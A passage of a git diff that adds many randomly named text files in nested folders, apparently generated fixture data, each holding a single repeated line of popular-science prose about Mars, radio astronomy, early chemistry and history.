+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_qazpgglfacrb.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_rztypcwsrhukacqehicngaxb.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_rztypcwsrhukacqehicngaxb.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_rztypcwsrhukacqehicngaxb.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_snpeshck.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_snpeshck.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_snpeshck.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ukoqbxmrb.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ukoqbxmrb.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ukoqbxmrb.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_usidkmjdklhnrmcbrl.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_usidkmjdklhnrmcbrl.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_usidkmjdklhnrmcbrl.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_wjzhtqptkcgtvrncsgesr.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_wjzhtqptkcgtvrncsgesr.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_wjzhtqptkcgtvrncsgesr.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_xturuyrzaaxqfmcszaoovz.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_xturuyrzaaxqfmcszaoovz.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_xturuyrzaaxqfmcszaoovz.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ysawvdykdq.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ysawvdykdq.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_ysawvdykdq.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_yvxjzxmndhogqwtp.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_yvxjzxmndhogqwtp.txt
new file mode 100644
index 0000000..e0cdc8d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/file_yvxjzxmndhogqwtp.txt
@@ -0,0 +1 @@
+circles. These are, in fact, the engineering artifacts of intelligent beings: roads, highways,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/fwancfwnxudm.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/fwancfwnxudm.txt
new file mode 100644
index 0000000..7e759fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/fwancfwnxudm.txt
@@ -0,0 +1 @@
+libraries depend on voluntary contributions. I think the health of our civilization, the depth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/gxfqjtidhxusnp.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/gxfqjtidhxusnp.txt
new file mode 100644
index 0000000..3106956
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/gxfqjtidhxusnp.txt
@@ -0,0 +1 @@
+plates and other evidence suggest that Mars once had such a denser atmosphere. Those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/jmeczvnxhxztcuxmrzeakzp.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/jmeczvnxhxztcuxmrzeakzp.txt
new file mode 100644
index 0000000..85773c2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/jmeczvnxhxztcuxmrzeakzp.txt
@@ -0,0 +1 @@
+meditate upon the mobility of the Earth.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/jywhfotopwb.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/jywhfotopwb.txt
new file mode 100644
index 0000000..03b6e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/jywhfotopwb.txt
@@ -0,0 +1 @@
+rejoicing in our participation in the Cosmos.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/kaspalxoivgqeotggalausv.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/kaspalxoivgqeotggalausv.txt
new file mode 100644
index 0000000..70a5adc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/kaspalxoivgqeotggalausv.txt
@@ -0,0 +1 @@
+But when we improve the resolution tenfold, when we begin to see detail as small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/lbqplpesjgpujefq.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/lbqplpesjgpujefq.txt
new file mode 100644
index 0000000..e033efe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/lbqplpesjgpujefq.txt
@@ -0,0 +1 @@
+wrote this first-hand account:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/lcetnlobinghgwjqupurmv.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/lcetnlobinghgwjqupurmv.txt
new file mode 100644
index 0000000..97b8b2f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/lcetnlobinghgwjqupurmv.txt
@@ -0,0 +1 @@
+series and the book seemed to be in conflict. I owe a special debt of gratitude to Shirley
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/ljifftjxsrzaagzepog.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/ljifftjxsrzaagzepog.txt
new file mode 100644
index 0000000..bb7bef7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/ljifftjxsrzaagzepog.txt
@@ -0,0 +1 @@
+years, writing was chiseled into clay and stone, scratched onto wax or bark or leather;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/mswnodruovfuij.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/mswnodruovfuij.txt
new file mode 100644
index 0000000..d23678d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/mswnodruovfuij.txt
@@ -0,0 +1 @@
+Revolution? What if the power of this new mode of thought had been more generally
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/pdbjxmplzlxsvmjnkhdh.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/pdbjxmplzlxsvmjnkhdh.txt
new file mode 100644
index 0000000..0dd067c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/pdbjxmplzlxsvmjnkhdh.txt
@@ -0,0 +1 @@
+divinely chosen to make this great discovery. He submitted a proposal for a research grant
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/voftovnjmbn.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/voftovnjmbn.txt
new file mode 100644
index 0000000..7a687c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/voftovnjmbn.txt
@@ -0,0 +1 @@
+ascendant in this or that solar or lunar ‘house’ or the ‘Age of Aquarius’ comes from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/vrkpxdykzdhjdqpqedjg.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/vrkpxdykzdhjdqpqedjg.txt
new file mode 100644
index 0000000..f9fb952
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/vrkpxdykzdhjdqpqedjg.txt
@@ -0,0 +1 @@
+and listening for the messages from the stars. These two enterprises are linked indissolubly.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/vslpcbjtgjelkrdhmhuivg.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/vslpcbjtgjelkrdhmhuivg.txt
new file mode 100644
index 0000000..8eb1c63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/vslpcbjtgjelkrdhmhuivg.txt
@@ -0,0 +1 @@
+be accounted for by radioactivity. Some of them are caused by high-energy charged
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/xijjvgvbicrvvlyqwhaoe.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/xijjvgvbicrvvlyqwhaoe.txt
new file mode 100644
index 0000000..2ed7867
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/xijjvgvbicrvvlyqwhaoe.txt
@@ -0,0 +1 @@
+around toward the other side of the Sun, in effect a radio telescope as large as the inner
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/ythpbtpsieeajhrw.txt b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/ythpbtpsieeajhrw.txt
new file mode 100644
index 0000000..7f08930
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yxrogskwkf/folder_zzmafpwono/folder_qutlmalzgw/folder_zfwfmgajpg/ythpbtpsieeajhrw.txt
@@ -0,0 +1 @@
+most recent incarnation.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_cfsrvplvheruwpzoraxvnlam.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_cfsrvplvheruwpzoraxvnlam.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_cfsrvplvheruwpzoraxvnlam.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_fcfdqwrwsfyowgsuchoni.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_fcfdqwrwsfyowgsuchoni.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_fcfdqwrwsfyowgsuchoni.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_jszkedyzhhclwexlhtnz.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_jszkedyzhhclwexlhtnz.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_jszkedyzhhclwexlhtnz.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_laegfcipec.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_laegfcipec.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_laegfcipec.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_lsfhnhtclqyilfwpezju.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_lsfhnhtclqyilfwpezju.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_lsfhnhtclqyilfwpezju.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_mspgmprwdu.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_mspgmprwdu.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_mspgmprwdu.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_owpbfyatybhtcurxsus.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_owpbfyatybhtcurxsus.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_owpbfyatybhtcurxsus.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_qwhkjrilmxqusybedzcbuq.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_qwhkjrilmxqusybedzcbuq.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_qwhkjrilmxqusybedzcbuq.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_rskvcylkjtzcnmo.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_rskvcylkjtzcnmo.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_rskvcylkjtzcnmo.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_ttxunbdt.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_ttxunbdt.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_ttxunbdt.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_ubixrbagjfllpnrxju.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_ubixrbagjfllpnrxju.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_ubixrbagjfllpnrxju.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_vjskvujxkjhrhxalajlal.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_vjskvujxkjhrhxalajlal.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_vjskvujxkjhrhxalajlal.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_whuqvpeusulvvxqgnvpzgueq.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_whuqvpeusulvvxqgnvpzgueq.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_whuqvpeusulvvxqgnvpzgueq.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_wtzqeekabborqilnstevxs.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_wtzqeekabborqilnstevxs.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_wtzqeekabborqilnstevxs.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_xjkzjfofgfvkgpsbmfvc.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_xjkzjfofgfvkgpsbmfvc.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_xjkzjfofgfvkgpsbmfvc.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/file_zoffzpyjof.txt b/big_zip/big-zip-files/folder_yyocxcaojm/file_zoffzpyjof.txt
new file mode 100644
index 0000000..01de74c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/file_zoffzpyjof.txt
@@ -0,0 +1 @@
+crews were accompanied everywhere by agents of the state security apparatus. Preliminary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_dneotjwbgszdhcisoqls.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_dneotjwbgszdhcisoqls.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_dneotjwbgszdhcisoqls.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_gsntxatglaxxjiw.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_gsntxatglaxxjiw.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_gsntxatglaxxjiw.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_ocgvpmenhqyfpcajddayzhqf.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_ocgvpmenhqyfpcajddayzhqf.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_ocgvpmenhqyfpcajddayzhqf.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_rmzvjmdptmf.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_rmzvjmdptmf.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_rmzvjmdptmf.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_tztcpwfqshdlpkrih.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_tztcpwfqshdlpkrih.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_tztcpwfqshdlpkrih.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_unforbsqsnuwqrwqhdnroi.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_unforbsqsnuwqrwqhdnroi.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_unforbsqsnuwqrwqhdnroi.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_upraqdudt.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_upraqdudt.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_upraqdudt.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_utxhzqhazuome.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_utxhzqhazuome.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_utxhzqhazuome.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_zfrfkwztjskde.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_zfrfkwztjskde.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_zfrfkwztjskde.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_zydyjagkwgrvgkjuxmdsj.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_zydyjagkwgrvgkjuxmdsj.txt
new file mode 100644
index 0000000..43345f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/file_zydyjagkwgrvgkjuxmdsj.txt
@@ -0,0 +1 @@
+Lao-tse in China, the Jewish prophets in Israel, Egypt and Babylon, and Gautama Buddha in India. It is hard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_cwhuarrzoep.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_cwhuarrzoep.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_cwhuarrzoep.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_fjwkxwovgspynzgloon.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_fjwkxwovgspynzgloon.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_fjwkxwovgspynzgloon.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_hfriqmmbkmcdeqvuk.txt b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_hfriqmmbkmcdeqvuk.txt
new file mode 100644
index 0000000..f83fa6b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_yyocxcaojm/folder_ylpgmqszzg/folder_wasareqgru/file_hfriqmmbkmcdeqvuk.txt
@@ -0,0 +1 @@
+products of this early chemistry were dissolved in the oceans, forming a kind of organic
\ No newline at end of file
